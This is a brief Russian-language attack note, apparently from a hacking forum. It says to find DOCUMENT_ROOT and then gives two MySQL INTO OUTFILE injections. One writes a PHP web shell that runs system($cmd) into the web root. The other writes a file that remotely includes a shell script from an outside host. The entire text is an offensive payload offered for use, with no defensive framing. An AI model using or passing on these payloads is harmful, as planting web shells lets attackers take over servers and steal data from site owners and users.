Узнаешь DOCUMENT_ROOT, потом
select '<?php system($cmd) ?>' from [table] into outfile '[DOCUMENT_ROOT]/shell.php'
select '<? @include("http://youfuckingsite.ru/shell.txt"); ?>' into outfile '/home/blalblalba/shell.php';